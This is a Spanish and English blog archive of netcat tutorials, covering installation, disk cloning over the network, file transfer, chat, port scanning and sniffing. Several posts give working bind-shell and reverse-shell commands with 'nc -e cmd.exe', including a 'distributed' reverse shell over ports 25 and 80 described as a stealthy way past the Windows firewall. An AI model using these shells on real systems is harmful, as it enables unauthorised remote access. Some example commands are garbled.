Archive for the ‘netcat’ Category

Instalacion de netcat en linux (centos/fedora/debian)

November 9, 2008

Via yum:

yum install nc

Via apt-get:

apt-get install netcat

Algunas cosas utiles de netcat:

1.- Copiar imagen de disco duro de host A a host B

-----------------------
HostA // 192.168.1.1
------------------------
sda
NETWORK
sdb
------------------------
HostB // 192.168.1.2
-------------------------

En el host B ejecutamos: # netcat -p 2222 -l |bzip2 -d | dd of=/dev/sdb

Y en el host B ejecutamos:

# bzip2 -c /dev/sda | netcat hostA 2222 o se puede usar la ip:
# bzip2 -c /dev/sda | netcat 192.168.1.1 2222

On hostA, enter:
# nc -l 2222 > /dev/sdb
On hostB, enter:
# nc hostA 2222< /dev/sda
OR
# nc 192.168.1.1 2222< /dev/sda

Using a second machine (hostB), connect to the listening nc process at 2222 (hostA), feeding it the file (/dev/sda)which is to be transferred. You can use bzip2 as follows.
On hostA, enter:
# nc -l 2222 | bzip2 -d > /dev/sdb
On hostB, enter:
# bzip2 -c /dev/sda | nc 192.168.1.1 2222


Netcat como sniffer

April 30, 2008

Shell Remota

Obtener un Shell rapidamente en una maquina remota usando la
opcion -l (Listen) conjuntamente con la opcion -e (ejecutar) , cuando el
proggie corre con estas variables y la coneccion es realizada, NetCat
ejecuta el programa elegido y se conecta a stdin y stdout del programa
en la coneccion la red.

nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

Este comando dejara NetCat escuchando el Puerto 23 (telnet) ,
cuando es conectado a traves del cliente, ejecutaran una Shell (cmd.exe).
la opcion -t le dice a NetCat que maneje cualquier negociacion que el
cliente pueda esperar.

Sniffer:

Otra de las interesante posibilidades de netcat es su capacidad para
escuchar conecciones en cualquier puerto, pudiendo redireccionar todo el
trafico del mismo hacia un archivo o hacia pantalla, en este sencillo
ejemplo, podemos observar las bases de un sencillo sniffer en Windows:

C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23

DNS fwd/rev mismatch: localhost != NKRA
listening on [any] 23 …
DNS fwd/rev mismatch: localhost != NKRA
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: xxxxxx
password: yyyyyyy

Tambien podemos redireccionar toda la salida a un archivo e
irnos a realizar otras actividades ,ientras netcat hace su trabajo:

C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != NKRA
listening on [any] 23 …

[Aqui viene la connecion.]

DNS fwd/rev mismatch: localhost != NKRA
connect to [127.0.0.1] from localhost [127.0.0.1] 1030

[Todo lo que escriba la conneccion se va al archivo login.txt]
sent 0, rcvd 42

La opcion L permite que netcat escuche nuevamente al terminar la coneccion

Scann de Puertos

Netcat puede ser utilizado como scanner, sus multiples opciones
le permiten realizar un gran numero de combinaciones, pudiendo realizar
Scannings en Puertos Random, en puertos conocidos, en modo ascendente o
descendente, con intervalos de tiempo, utilizando gateways para evitar
mostrar la IP fuente del Scanning, etc.

C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21

DNS fwd/rev mismatch: localhost != NKRA
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK

Pues si; aqui tienen un pequeño y primitivo scanner, se le
puede asignarle un rango de puertos:

C:\nc11nt>nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused etc…

Volvemos con la opcion v (verbose) y la Opcion z (zero i/o)
que es usada para scanning, los puertos se lo especificamos al final del
IP del host, bien sea individuales separados por un espacio; o por un
rango de puertos.

netcat en unix

October 12, 2007

Interestingly netcat is going to help us in future as the best way to debug future network protocols. Peer to peer networking is often touted as the wave of the future Internet and I shall talk about an interesting anecdote of how invaluable netcat proved to me whilst testing my peer topeer NAT traversal library.

It is not very likely you have used it. So let us start with few simple exams before we get on to nontrivial ones.

$nc -l -p 1234

will set up a TCP server on your machine. You can fire up

$nc localhost 1234

on another terminal which will set up a TCP client. You can now start talking between the two. Whatever you type here appears there and vice versa. Simple, isn’t it?

on another terminal which will set up a TCP client. You can now start. Moreover it has power. The sort of power that only deceptively simple tools can possess. Let me demonstrate.

$nc -l -u -p 1234

will setup a UDP server. And you can talk to it with

$nc -u localhost 1234

Now, you will argue I am sure that telnet can be used as TCP clients.But it can hardly compare with netcat in its power and versatility as a network tool. Nowadays of course nobody uses telnet. We all use ssh.

Anyway netcat is used along with ssh for HTTP proxy authentication. And netcat can serve as simple inetd replacement, a simple command-line browser and so on. My God! You mean to say that netcat is so powerful?

It just depends on the way you look at it. netcat has a very clear goal and agenda. Of that of doing one thing and doing it well. And you use itas a duct tape for connecting with other similar tools to achieve your goal.

You could use netcat as a simple UDP or TCP based server and spawn a shell command every time a client connects. netcat can be used a simple chat application or even for sniffing network packets. The possibilities are endless.

The time has come to tell you how I used netcat for testing my p2p NAT library.

I used an approach called “UDP hole punching” for making inbound connections to machines behind NAT. Some say “protected by” but I shall avoid using that term.

I had to figure out if my NAT traversal library was doing its job. So once my library created the appropriate NAT mapping, I had to test application traffic. I used netcat for that.

In fact you can transfer files very simply even binary ones.

$nc -l -p 5000 > /tmp/network-file

and connect to this host across the Internet like this.

$nc server.com 5000 

You can even develop a simple VoIP application using netcat as it simply sets up a network pipe which you can send and receive data transparently.

For that you need to use a nice like G.729 using speex and use netcat's UDP serving capability. Voice traffic is delay sensitive and not loss sensitive and hence UDP is what we care. If you are lucky you could even use shell commands like this.

$ mkfifo /tmp/inputvoice
$ cat /dev/dsp > /tmp/inputvoice&
$ nc -u 1700 /dev/dsp

On the other side, you do something similar and

$nc -u  1700 /dev/dsp

Of course, the above example is merely an example and not a practical one.

nc can be used for taking remote backups and you can combine it with ssh and cron to do really cool things.

Think of nc as extending the UNIX pipe concept across the network and a whole new world of possibilities open up.

Como obtener shell remota con netcat

October 3, 2007

El netcat, es un programa que funciona en cualquier plataforma (hay versiones para todos los sistemas operativos), sin entorno gráfico, y sirve para realizar conecciones de casi cualquier tipo en tcp y udp.

Existe una version en win32 que corre en una ventana tipo MSDOS, para ayuda con el mismo teclea: > nc -h

· client
Podemos usar el nc para conectarnos a una maquina por cualquier puerto siempre que éste este abierto.
La sintaxis básica es:
nc {opciones} [ip/hostname] [puerto]
Las opciones, como su nombre lo indica, son opcionales, por lo que si yo tipeara en mi linea de comandos:
nc 201.234.131.38 23
Se conectaría a 201.234.131.38 (fiar argentina) por el puerto 23 (telnet).
Es muy recomendable usar siempre la opción -vv para que el nc nos de información sobre el estado de la conección. Las opciones siempre van antes de la direccion ip o el hostname y el puerto (en ese orden), por lo que la nueva sintaxis nos kedaría:
nc -vv {opciones} [ip/hostname] [puerto]
Las opciones que se pueden combinar con este uso son:
-d (detach from console) modo oculto, en segundo plano, la conección sigue aunke c cierre el ms-dos
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres q el nc use dns para averiguar el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo hexadecimal
-p (local port number) elegís el puerto local para la conección
-r (randomize local and remote ports) elige al azar los puertos no especificados.
-s (local source address) dirección local
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada
-u (udp mode) realiza conecciones en puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.

· server
Podemos usar el nc para poner un puerto a la escucha y recibir conecciones entrantes.
La sintaxis básica es:
nc -l -p {opciones} [puerto]
Donde [puerto] es el número de puerto que se kiere poner a la escucha.
La opción -l puede usarse en mayúscula -L si se desea que luego de finalizada la conección, el nc siga escuchando en el mismo puerto con las mismas opciones. De otra forma, al finalizar la coneccion, el nc se cerraría
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del ms-dos
-e (inbound program to exec) ejecuta un programa al conectarse un cliente.
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada.
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo hexadecimal.
-r (randomize local and remote ports) elige al azar los puertos no especificados.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.

· port scan
Podemos usar el nc para comprobar que puertos tiene abiertos una máquina.
La sintaxis básica sería:
nc -z {opciones} [ip/hostname] [puerto/s]
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del ms-dos
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada.
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres q el nc resuelva el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo en hexadecimal.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.
Los puertos pueden especificarse individualmente, x rangos (inclusivos) o ambos en cualquier orden.

Shell remota:

· shell directa
Mediante este comando en un windows posterior a winme
nc -l -p 2236 -e cmd.exe -d
A cualquiera que se conectase por el puerto 2236 mediante nc o telnet, le aparecería una shell equivalente al cmd.exe de la maquina en la que se ejecutó el comando. Lo mismo ocurriría en un windows anterior a winme reemplazando cmd.exe por command.com en el comando anterior.

· shell inversa
Esta técnica es una variación de la primera, con la diferencia que en esta la máquina que proporciona la shell se conecta a la otra pudiendo de ésta forma saltar algunos routers y firewalls. Ideal para maquinas dentro de una red.
Se ejecuta el siguiente comando en una maquina para ponerla a la escucha de conexiones por el puerto 2236:
nc -vv -L -p 2236
Luego, se ejecuta el siguiente comando en la maquina que va a proporcionar la shell para que se conecte a la primera:
nc -d -e [cmd.exe/command.com] [ip/hostname primera maq] 2236

· shell inversa distribuida
Está técnica es la más silenciosa y efectiva de todas, en ésta se realizan dos conexiones inversas (una para enviar información y otra para recibirla) usando los puertos 25 y 80 que el firewall del win xp sp2 no filtra por tenerlos habilitados por default para el envío (25 smpt) y recibo (80 http) de información.
Para esto abrimos dos ventanas en la maquina que recibirá la shell en las que ponemos:
nc -vv -l -p 80
y
nc -vv -l -p 25
Respectivamente, de manera que escuche conexiones por los puertos 80 y 25. Luego, en la máquina q proporcionará la shell ponemos:
nc [ip/hostname maq escucha] 80 | cmd.exe | nc [ip/hostname maq escucha] 25
Una vez realizada la conexión, se envían los comandos desde la ventana que escucha por el puerto 80 y se reciben los resultados en la ventana que escucha por el puerto 25.

· chat peer to peer
Se puede crear un simple chat mediante nc entre dos personas escribiendo una de ellas (server) éste comando:
nc -l -p 1337
y la otra (client) éste otro:
nc [ip/hostname de la maq dnd c ejecuto el comando anterior] 1337
La primera persona abriría el puerto 1337 para recibir conecciónes y la segunda se conectaría a su maquina por el puerto que la primera persona abrió por lo que realizarían una conección directa puerto a puerto.
Luego, lo que una de las personas escribiese en su nc aparecería en el nc del otro y viceversa.


Follow

Get every new post delivered to your Inbox.